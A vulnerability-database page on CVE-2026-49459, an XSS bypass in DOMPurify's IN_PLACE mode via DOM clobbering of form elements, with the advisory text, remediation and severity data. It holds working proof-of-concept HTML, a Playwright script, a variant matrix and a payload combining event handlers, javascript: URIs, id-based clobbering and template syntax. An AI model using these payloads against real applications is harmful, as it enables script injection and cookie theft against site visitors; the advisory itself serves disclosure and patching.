Skip to main content

DOMPurify EUVDEUVD-2026-44450

| CVE-2026-49459 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-15 https://github.com/cure53/DOMPurify GHSA-r47g-fvhr-h676
6.1
CVSS 3.1 · Vendor: https://github.com/cure53/DOMPurify
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts <form> with event handler and clobber-named child
  2. Delivery
    Application parses untrusted HTML into detached HTMLFormElement DOM node
  3. Exploit
    Application passes node to DOMPurify.sanitize(node, { IN_PLACE: true })
  4. Install
    _isClobbered fires; _forceRemove silently no-ops on parent-less root
  5. C2
    _sanitizeAttributes early-returns without inspecting root attributes
  6. Execute
    Application inserts unsanitized form node into live document
  7. Impact
    User interaction fires event handler, achieving XSS

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must simultaneously hold: (1) The application must call DOMPurify.sanitize(node, { IN_PLACE: true }) - the default string-mode API DOMPurify.sanitize(dirtyString) is explicitly not vulnerable because its root is an HTMLBodyElement which does not carry [LegacyOverrideBuiltIns]. (2) The sanitization root passed as node must be an HTMLFormElement - other element types do not expose the named-property override mechanism that enables DOM clobbering of Element/Node prototype properties. (3) The attacker must control content inside that form element sufficient to place a child with a name= attribute matching any one of these ten values: nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes, attributes, textContent, removeChild, removeAttribute. Limiting factors: user interaction is required to trigger event-handler payloads (mouseover, click, focus), though javascript: URI payloads in action/formaction are triggered by form submission rather than mouse movement. The attack is browser-agnostic in principle but empirically verified on Chromium; Firefox and WebKit are expected to be affected due to equivalent [LegacyOverrideBuiltIns] behavior on HTMLFormElement, though cross-browser verification beyond Chromium is not confirmed in the advisory.

Impact

The CVSS 3.1 score of 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) accurately captures the attack surface dimensions: network-reachable, unauthenticated (per PR:N), low complexity once the deployment condition is met, requiring user interaction, with scope change due to potential cross-origin DOM clobbering of document-level properties. However, the raw score understates two operationally significant risk amplifiers: (1) a complete, verified PoC with full variant matrix and Playwright automation is publicly documented in GHSA-r47g-fvhr-h676, lowering exploitation friction to near-zero for developers who know their target uses IN_PLACE mode; and (2) the sticky-clobber behavior in Chromium's HTMLFormElement named-property cache means re-sanitizing the same node a second time with IN_PLACE is silently ineffective, so any defense-in-depth double-sanitize pattern provides false assurance. The bypass is strictly scoped to callers using IN_PLACE: true on HTMLFormElement roots with attacker-controlled children - the far more common string-mode API is explicitly unaffected. EPSS data was not provided in the input intelligence. No CISA KEV listing is present, so active in-the-wild exploitation is not confirmed at time of analysis. The impact extends beyond event-handler XSS: action/formaction javascript: URIs, DOM-clobbering id= attributes, and SAFE_FOR_TEMPLATES template syntax all survive the same bypass, giving attackers multiple trigger paths from a single payload.

Exploit ScenarioDerived

An attacker submits HTML containing <form onmouseover="stealCookies()"><input name="nodeName"></form> to a CMS or WYSIWYG editor that pre-parses user content into DOM nodes for performance before calling DOMPurify.sanitize(node, { IN_PLACE: true }). The input element's name="nodeName" shadows HTMLFormElement.nodeName, triggering _isClobbered; _forceRemove no-ops because the detached root has no parent; _sanitizeAttributes skips the form's attributes entirely. The form with the live onmouseover handler is inserted into the page, and any visitor who moves the mouse over the content area triggers the malicious script. A complete, working PoC including a Playwright automation script is publicly documented in GHSA-r47g-fvhr-h676, verified against DOMPurify 3.4.5 and Chromium 148.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

Cross-site scripting in DOMPurify ≤ 3.4.5 allows attacker-controlled event handlers, javascript: URIs, and template syntax to survive sanitization when the IN_PLACE: true API is used with an HTMLFormElement root. Two interacting bugs create the bypass: _forceRemove silently no-ops on detached (parent-less) nodes per WebIDL spec, and _sanitizeAttributes unconditionally early-returns on clobbered nodes under the now-broken assumption that _sanitizeElements already removed them. A publicly available working PoC has been verified against Chromium 148.0.7778.96 and DOMPurify 3.4.5 including the HEAD commit 89da34e, which addressed a related shadow-root traversal issue but left this main-pipeline path unpatched. No KEV listing is present at time of analysis.

RemediationAI

Vendor-released patch: 3.4.6. Upgrade dompurify to version 3.4.6 or later via npm install dompurify@^3.4.6; this is the only fully reliable fix per the GitHub Advisory GHSA-r47g-fvhr-h676 (https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676). If immediate upgrade is blocked, the single most effective workaround is to stop using IN_PLACE: true and switch to string-mode sanitization: replace DOMPurify.sanitize(node, { IN_PLACE: true }) with node.outerHTML piped through DOMPurify.sanitize(dirtyString) and parse the clean string back into DOM - this routes through _initDocument where the root is a clean HTMLBodyElement not susceptible to [LegacyOverrideBuiltIns] clobbering. Do not attempt to mitigate by calling IN_PLACE sanitize twice on the same node: the sticky-clobber behavior in Chromium's HTMLFormElement named-property cache makes the second pass hit the same bypass path and provides false assurance of safety. If the application must accept pre-parsed DOM nodes, add a guard that rejects or serializes any root element that is an HTMLFormElement before passing to DOMPurify IN_PLACE, trading some functionality for guaranteed safety.

Affected VersionsENISA

DOMPurify < 3.4.6

Affected Packages

npm dompurify fix: 3.4.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DOMPurify (pkg:npm/dompurify) is a browser-side XSS sanitizer that operates on DOM trees. The root cause combines CWE-79 (attribute-level XSS) with CWE-693 (protection mechanism failure). The exploit pivots on the WebIDL [LegacyOverrideBuiltIns] extended attribute carried by HTMLFormElement in all major engines (Chromium, WebKit, Firefox via Gecko), which causes descendant elements whose name= or id= attribute matches a property on the form to shadow that property on the form object - a technique known as DOM clobbering. The _isClobbered() guard checks ten properties (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes, attributes, textContent, removeChild, removeAttribute) via typeof comparisons; any single child with name= equal to one of these values triggers the clobber detection. _forceRemove() then attempts getParentNode(node).removeChild(node) - which throws when the root is detached - and falls to Element.prototype.remove(), which per the WebIDL spec is a no-op on parent-less nodes. _sanitizeAttributes() then receives the still-live clobbered root and returns immediately, skipping all attribute sanitization. Commit 89da34e hardened the _sanitizeAttachedShadowRoots walk via cached prototype getters but did not alter _forceRemove's behavior or _sanitizeAttributes's early-return path, leaving the main _sanitizeElements/_sanitizeAttributes pipeline unrepaired.

Know when Mozilla gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/cure53/DOMPurify) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-delivered payload; no auth or privileges needed; UI:R because event-handler execution requires user interaction; S:C for cross-context DOM clobbering impact; C:L/I:L for typical XSS scope.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE 4.7 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Red Hat 4.7 MEDIUM

Primary rating from Vendor (https://github.com/cure53/DOMPurify).

CVSS VectorVendor: https://github.com/cure53/DOMPurify

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS - Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure - silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes - and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected

  • DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

  • String-input DOMPurify.sanitize(dirtyString) - the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
  • IN_PLACE where the root is not an HTMLFormElement
  • IN_PLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] - _forceRemove at src/purify.ts:930-939:

ts
const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() - spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) - which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this - the function appears to its callers as "the node is gone now," but the node is still in place.

[B] - _sanitizeAttributes at src/purify.ts:1490-1492:

ts
const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate - the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *"if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it."* That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

ts
const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed - IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue - but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

name= valueproperty _isClobbered checkstypeof on clobbered form
nodeNametypeof element.nodeName !== 'string'object (an <INPUT>)
setAttributetypeof element.setAttribute !== 'function'object (not callable) - *but* <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below
namespaceURItypeof element.namespaceURI !== 'string'object
insertBeforetypeof element.insertBefore !== 'function'object
hasChildNodestypeof element.hasChildNodes !== 'function'object
childNodes!(element.childNodes && typeof element.childNodes.length === 'number')object - <INPUT> has no .length
attributes!(element.attributes instanceof NamedNodeMap)object (an <INPUT> is not a NamedNodeMap)
textContenttypeof element.textContent !== 'string'object
removeChildtypeof element.removeChild !== 'function'object (non-callable)
removeAttributetypeof element.removeAttribute !== 'function'object (non-callable)

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal - runnable in a single browser context

html
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

(2) End-to-end - Playwright against main HEAD

js
const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}

(3) Variant matrix - six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch - every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

js
const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

  • action="javascript:..." and formaction="javascript:..." - URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
  • id="<colliding-name>" - the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName = 'id' || lcName = 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
  • target="_top", autofocus, formenctype, formmethod - all survive untouched.
  • Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified - full attribute set survives on a single payload (PoC):

js
const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE - the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified - after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

js
const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified - same PoC structure, with SAFE_FOR_TEMPLATES: true:

js
const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly - _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

  • DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
  • Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
  • Frameworks that hand DOMPurify a node tree rather than a string - including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the *first child* of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope - shadow-root traversal - but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

  1. Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.
ts
   const _forceRemove = function (node: Node): boolean {
     arrayPush(DOMPurify.removed, { element: node });
     try {
       getParentNode(node).removeChild(node);
       return true;
     } catch (_) {
       try { remove(node); } catch (_) {}
       return node.parentNode === null && /* but still attached to itself */ false;
     }
   };

Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects - sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

  1. Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.
  2. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof = 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" *child* of one of these tags spoofs the setAttribute typeof = 'function' check - but only matters for the *attribute re-set* path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 37 npm packages depend on dompurify (3 direct, 34 indirect)

Ecosystem-wide dependent count for version 3.4.6.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2015-4495 HIGH POC
8.8 Aug 08

The PDF reader in Mozilla Firefox before 39.0.3, Firefox ESR 38.x before 38.1.1, and Firefox OS before 2.2 allows remote

CVE-2013-1690 HIGH POC
8.8 Jun 26

Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before

CVE-2013-0758 CRITICAL POC
9.3 Jan 13

Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderb

CVE-2013-0753 CRITICAL POC
9.3 Jan 13

Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox b

CVE-2012-3993 CRITICAL POC
9.3 Oct 10

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 16.0, Firefox ESR 10.x before 10.0.8, Thunderbi

CVE-2013-1710 CRITICAL POC
10.0 Aug 07

The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird befo

CVE-2017-3823 HIGH POC
8.8 Feb 01

An issue was discovered in the Cisco WebEx Extension before 1.0.7 on Google Chrome, the ActiveTouch General Plugin Conta

CVE-2014-8636 HIGH POC
7.5 Jan 14

The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with

CVE-2013-0757 CRITICAL POC
9.3 Jan 13

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 18.0, Firefox ESR 17.x before 17.0.2, Thunderbi

CVE-2014-1510 CRITICAL POC
9.8 Mar 19

The Web IDL implementation in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and Se

CVE-2014-1511 CRITICAL POC
9.8 Mar 19

Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 allow remo

CVE-2013-0643 HIGH
8.8 Feb 27

The Firefox sandbox in Adobe Flash Player before 10.3.183.67 and 11.x before 11.6.602.171 on Windows and Mac OS X, and b

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Module for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy